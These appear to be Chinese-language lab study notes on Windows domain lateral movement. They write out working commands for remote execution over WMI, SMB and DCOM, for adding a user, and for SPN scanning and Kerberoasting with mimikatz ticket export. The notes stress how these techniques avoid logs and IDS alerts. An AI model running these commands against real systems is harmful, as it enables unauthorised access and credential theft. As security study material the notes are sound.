从windows98开始,Windows操作系统都支持WMIWMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。且使用wmiexec进行横向移动时候,windows操作系统默认不会将WMI的操作记录在日志中

0x01 WMI的使用

基本命令

使用目标系统的cmd.exe执行一条命令,将执行结果保存在C盘的ip.txt文件中,

1
wmic /node:192.168.1.3 /user:administrator /password:Admin!@#$4321 process call create "cmd.exe /c ipconfig >c:\ip.txt"

建立ipc$后,使用type命令读取执行结果,具体如下

1
2
net use \\192.168.1.3\ipc$ "Admin!@#$4321" /user:administrator
type \\192.168.1.3\C$\ip.txt

使用wmic远程执行命令,在远程系统中启动windows management lnstrumentation 服务(目标服务器需要开放135端口,wmic会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,wmic将无法进行连接。wmic命令没有回显,需要使用ipc$和type命令来读取信息,若使用wmic执行恶意程序,将不会留下日志

impacket工具包中的wmiexec

在测试kali中下载安装impacket工具包的时候,出现各种问题,之后使用的是打包好的windows下的exe

impacket工具包下载地址:https://github.com/SecureAuthCorp/impacket

Impacket-windows工具包下载地址:https://github.com/maaaaz/impacket-examples-windows

1
wmiexec.exe hacke/administrator:Admin!@#$4321@192.168.1.2

wmiexec.vbs

Wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell

下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs 这里有个坑,不能直接用wget下载,需要直接把代码复制下来编辑成.vbs文件

1
2
3
4
5
6
7
8
9
10
1、半交互模式
cscript.exe //nologo wmiexec.vbs /shell ip username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 administrator Admin!@#$4321
2、单命令执行
cscript.exe wmiexec.vbs /cmd ip username password "command"
cscript.exe wmiexec.vbs /cmd 192.168.1.1 administrator Admin!@#$4321 "ipconfig"
3、wce_hash注入
如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash
wce -s hash
cscript.exe //nologo wmiexec.vbs /shell ip

获得一个半交互模式shell

使用wmiexec.vbs在远程主机上执行单条命令

注:对于运行时间较长的命令,如ping、systeminfo需要添加-wait 5000或者更长的时间参数

Invoke-WmiCommand

Invoke-WmiCommand.ps1脚本包含在PowerSploit工具包很难过。该脚本主要通过powershell调用WMI来远程执行命令,本质还是在利用WMI

1
2
3
4
5
6
7
8
9
10
//目标系统用户名
$User = "hacke\administrator"
//目标系统密码
$Password= ConvertTo-SecureString -String "Admin!@#$4321" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCreadential -ArgumentList $User , $Password
//远程执行命令
$Rmote=Invoke-WmiCommand -payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.1
//将执行结果输出到屏幕上
$Remote.PayloadOutput

Invoke-WMIMethod

Powershell自带的Invoke-WMIMethod可以在远程系统中执行命令和指定程序

1
2
3
4
5
6
7
8
//目标系统用户名
$User = "hacke\administrator"
//目标系统密码
$Password= ConvertTo-SecureString -String "Admin!@#$4321" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCreadential -ArgumentList $User , $Password
//远程执行命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.1.1" -Creadential $Cred

crackmapexec

1
crackmapexec 192.168.1.1 -u administrator -p Admin!@#$4321 -x "net user test test /add"

0x02 smbexec的使用

smbexec可以通过文件共享(admin$C$ipc$d$)在远程系统中执行命令,使用的时候,目标系的共享必须试开放的错c 、ipc、admin

C++版smbexec

C++版smbexec的下载地址https://github.com/sunorr/smbexec

1、工具使用

  • test.exe:客户端程序
  • exec server.exe:目标系统中的辅助程序

常用smbexec命令:

1
test.exe ipaddress username password command netshare

2、使用方法

execserver.exe上传到目标系统的C:\windwos\目录下,接触UAC对命令执行的限制。在命令行环境中执行如下命令

1
net use \\192.168.1.3 "Admin!@#$4321" /user:HACKE\administrator

之后在客户端的命令行环境中执行如下命令

1
test.exe 192.168.1.3 administrator Admin!@#$4321 whoami c$

VS2019编译的时候有问题,没编译成exe

impact 工具包中的smbexec.exe

这里依旧使用windows下编译好的smbexec.exe这里要注意的有两点,一个是\是为了转义而添加的,二是在密码处可以用双引号阔起来。这里因为在Windows下测试的,没有出现这个情况

1
smbexec.exe HACKE/administrator:Admin!@#$4321@192.168.1.1

0x03 DOM在远程系统中的使用

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DOCM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

DCOM是基于组件对象模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)

通过本地DCOM执行命令

1、获取DCOM程序列表

Get-CimInstance这个cmdlet(PowerShell命令行)默认只在powershell3.0以上版本中存在。因此只在windows server 2012及以上本本的操作系统才可以使用Get-CimInstance

1
Get-CimInstance Win32_DCOMApplication

Windows7、Windows server 2008中默认安装的是powershell 2.0。不支持Get-CimInstance。可以使用如下命令代替

1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

2、使用DCOM执行任意命令

在本地启动一个管理员权限的PowerShell,执行如下命令,该方法通过ExecuteShellCommand运行了计算器程序,可把计算器换成其他的payload

1
2
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

使用DCOM在远程机器上执行命令

这个方法需要关闭系统防火墙。在远程机器上执行命令时,必须使用具有本地管理员权限的账号。

实验环境

域控制器

  • IP地址:192.168.1.1
  • 域名:hacke.testlab
  • 用户名:administrator
  • 密码:Admin!@#$4321

域成员服务器

  • IP地址:192.168.1.2
  • 域名:hacke.testlab
  • 用户名:administrator
  • 密码:Admin!@#$4321

1、通过IPC$连接远程计算机

在命令行环境中输入如下命令

1
net use \\192.168.1.1 "Admin!@#$4321" /user:hacke.testlab\administrator

2、执行命令

(1)调用MMC20.Application远程执行命令

建立ipc$后,输入如下命令,在远程系统小红运行calc.exe。在目标系统中启动任务管理器,可看到calc.exe正在运行

1
2
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")

(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

在域成员机上打开powershell,输入如下命令,在域控制器上可看到正在运行的calc.exe

1
2
3
4
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.1.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe", "c:\windows\system32",$null,0)

这两种方法均适用于windows7-windows10、windows server2008-windwos server2016

0x04 SPN在域环境中的应用

Windows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主题名称(Service Principal Name SPN

SPN扫描

1、相关概念

在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkServiceLocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。

Kerberos身份验证使用SPN将服务实例与服务登录账号关联起来。如果域中的计算机上安装了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给给定的服务实例可以有多个SPN。如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所有主机的每个名称或别名注册一个SPN。

根据Kerberos协议,当用户输入自己的账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭据)

SPN命令的格式如下

1
SPN = serviceclass "/" hostname [":"port] ["/" servicename]
  • serviceclass:服务组件名称
  • hostname:以“/”与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)
  • port:以冒号分隔,后面的内容为该服务监听的端口号
  • servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名

2、常见SPN服务

MSSQL服务的示例代码

1
MSSQLSvc/Motoo-DBSRV.Motoo.nc:1433
  • MSSQLSve:服务组件的名称,此处为MSSQL服务
  • computer1.hacke.testlab:主机名为computer1,域名为hacke.testlab
  • 1433:监听的端口为1433

serviceclass和hostname是必选参数,port和servicename是可选参数,hostname和port之间的冒号只有在该服务对某端口进行监听时才会使用

Exchange服务的示例代码

1
exchangeMDB/MOTOO-OWA2010.Motoo.nc

RDP服务的示例代码

1
TERMSRV/Motoo-OWA2010.Motoo.nc

WSMan/WinRM/PSRemoting服务的示例代码

1
WSMAN/Motoo-OWA2010.Motoo.nc

3、用于进行SPN扫描的powershell脚本

当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipa1Name属性中。在安装新服务后,SPN也会被记录在计算机账号的相应属性中。

SPN扫描也称作“扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口相比,SPN扫描的主要特点是不需要痛殴连接网络中的每个IP地址来检查服务端口(不会因触发内网中的IPS,IDS等设备的规则而产生大量的告警日志)因SPN查询是Kerberos票据行为的一部分

Powershell-AD-Recon工具提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、Exchange、RDP、WinRM。

下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon

也可以利用Windows自带的setspn工具,普通域用户权限执行即可

1
setspn -T hacke.testlab -Q */*

Kerberos攻击

Kerberoast是一种针对kerberos协议的攻击方式。在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。该票据使用与SPN相关联的计算机服务账号的NTLM Hash(RC4_HMAC_MD5),就是说,攻击者会通过Kerberoast尝试使用不同的NTLM Hash来打开该Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerberos票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码

在域环境中,可以通过Kerberos使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。使用该方法,大多操作可离线完成,不会向目标系统发送任何信息,因此不会引起安全设备报警。由于大多网络的域环境策略不够严格(没有给计算机服务账号密码过期时间:计算机服务账号的权限过高;计算机服务账号的密码域普通域账号的密码相同),因此,计算机服务账号的密码很容易受到Kerberoast攻击的影响

1、配置MSSQL服务,破解该服务的票据

(1)手动注册SPN

手动为MSSQL服务账号注册SPN

1
2
setspn -A MSSQLSvc/computer1.pentest.com:1433 mssql
setspn -A MSSQLSvc/Motoo-DBSRV.Motoo.nc:1433 mssql

(2) 查看用户所对应的SPN

查看用户所对应的SPN

  • 查看所有注册的SPN
1
setspn -T domain -q */*
  • 查看指定用户注册的SPN
1
setspn -L pentest.com\mssql

(3) 使用adsiedit.msc查看用户SPN及其他高级属性

(4) 配置指定服务的登录权限

在活动目录中为用户配置指定服务的登录权限

1
gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Log on as a service

(5) 修改加密类型

因为Kerberos协议的默认加密方式是AES256_HMAC,而通过tgsreperack.py无法破解该加密方式,因此,我们可以通过服务器组策略将加密方式设置为RC_HMAC_MD5,命令如下

1
gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security: Configure encryption types allowed for Kerberos

(6) 请求SPN Kerberos票据

打开powershell 输入如下命令

1
2
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MMSQLSvc/computer1.pentest.com"

(7) 导出票据

在mimikatz中执行如下命令,将内存中的票据导出

1
kerberos::list /export

(8) 使用Kerberoat脚本离线破解票据所对应账号的NTLM Hash

下载Kerberoast地址:https://github.com/nidem/kerberoast

将MSSQL服务所对应的票据复制到安装了kerberoast的机器上,用kerberoast中的tgsreperack.py脚本运行,功能是离线破解票据的NTLM Hash ,如果破解成功,该票据所对应的账号密码将被打印到屏幕上

1
python tgsreperack.py wordlist.txt mssql.kirbi

由于环境问题,以上实验暂未复现

0x05 Exchange邮件服务器

Exchange是微软的电子邮件服务组件,是一个消息与协作系统。Exchange在学校和企业有着大量的使用。其主要版本如下:

Exchange 2003

Exchange 2007

Exchange 2010

Exchange 2013

Exchange 2016

Exchange 2019

Exchange服务器可以本地化的形式部署。也可以Exchange online的方式,将Exchange服务器托管到微软云端。Exchange提供了极强的可扩展性、可靠性、可用性,以及极高的处理性能与安全性能。且Exchange与活动目录、域服务、全局编排目录及微软的其他相关服务和组件有着紧密的联系

Exchange支持powershell对其进行本地或远程操作,方便运维也方便了我们的渗透

Exchange服务器介绍

1、邮件服务器角色介绍

通过划分不同的服务器角色(使它们能执行属于自己的组件和服务),以及为这些角色设置依存关系,Exchange讲话电子邮件处理变成了一个亲啊更大、丰富、稳定而又复杂的过程。Exchange在逻辑上分为三层,分别是网络层目录层消息层。服务器角色处在消息层

如Exchange server 2010版本,共有五个服务器角色,分别是邮件服务器、客户端访问服务器、集线传输服务器、统一消息服务器、边缘传输服务器。除了传输服务器,其他服务器角色都可以部署在同一台主机上。邮件服务器、客户端访问服务器、集线传输服务器是核心服务器角色,只要部署这三个角色就能提供基本的电子邮件处理功能

  • 邮件服务器(Moilbox Serber):提供托管邮件、公共文件夹及相关消息数据(例如地址表)的后段组件,是必选的服务器角色
  • 客户端访问服务器(C lient Access Server):接收和处理来自不同客户端的请求的服务器角色,为通过不同的协议进行的访问提供支持。在一个Exchange环境中,至少需要部署一个客户端访问服务器
  • 集线传输服务器(Hub transport Server):也称中心传输服务器。该服务器角色的核心服务就是Microsoft Exchange transport,负责处理哦Mail Flow(Exchange管理员通过Mail Flow实现邮件出站与进站配置)、对邮件进行路由及在Exchange组件中进行分发。该服务器角色处理所有发往本地邮箱和外部邮箱的邮件,确保邮件发送者和接收者的地址被正确地解析并能够执行后特定的策略(例如邮件地址过滤、内容过滤、格式转换),同时,可以进行记录、审计、添加免责声明等操作。其角色相当于一个邮件传输的中继站,在一个Exchange环境中,至少需要部署一个集线传输服务器
  • 统一消息服务器(Unified Messaging Server):将专用交换机和Exchange服务器集成在一起,允许用户通过邮件发送、存储语音消息和传真消息。该服务器角色为可选角色
  • 边缘传输服务器(Edge transport Server):专用服务器,可用于路由发往内部或外部的邮件,通常部署在网络边界并用于设置安全边界。该服务器角色接受来自内部组织和外部可信服务器的邮件,对这些邮件应用特定的反垃圾邮件、反病毒策略、将通过策略筛选的邮件路由到内部的集线传输服务器上。该服务器角色为可选角色

2、客户端/远程访问接口和协议

电子邮件通信一般分为邮件发送和邮件接收两个过程。邮件发送使用统一的通信协议,既SMTP(简单邮件传输协议)。邮件接收则会使用多种协议标准,例如POP(邮局协议)发展而来的POP3,以及使用较为广泛的IMAP(internet邮件访问协议)Exchange开发了私有的MAPI协议(用于收取邮件)。新版本的Outlook通常使用MAPI协议与Exchange进行交互。早期Outlook使用名为Outlook Anywhere的RPC进行交互

Exchange支持的访问接口和协议列举如下

  • OWA(Outlook Web App):Exchange提供的Web邮箱
  • EAC(Exchange Administrator center):Exchange管理中心,是组织中的Exchange的Web控制台
  • OutlookAnywhere(RPC-over-HTTP, RPC/HTTP)
  • MAPI (MAPI-over-HTTP, MAPI/HTTP)
  • Exchange ActiveSync(EAS, XML/HTTP)
  • Exchange Web Service(EWS, SOAP-over-HTTP)
Exchange服务发现

1、基于端口扫描发现

需要与主机进行交互,产生大量通信流量,会造成IDS报警,并留下大量的日志

1
nmap -A -S -sV 10.211.55.7

2、SPN查询

安装Exchange时,SPN被注册在活动目录中了。在域环境中,可以通过SPN来发现Exchange服务,这里使用windows自带的setspnon.exe获取。其中exchangeRFR、exchangeAB、exchangeMDB、 SMTP、SmtpSvc都是Exchange注册的服务

1
setspn -T Motoo.nc -F -Q */*

Exchange的基本操作

Exchange是一个电子邮件系统,自然会存在数据库。Exchange数据库的后缀为.edb,存储在Exchange服务器上。通过exchange发送、接收、存储的邮件,都会存储在exchange的数据库中。可用powershell查看exchange数据库中的信息

1、查看邮件数据库

邮件服务器没启起来,实施什么问题,执行powershell命令的时候报错,暂时未做接下来的测试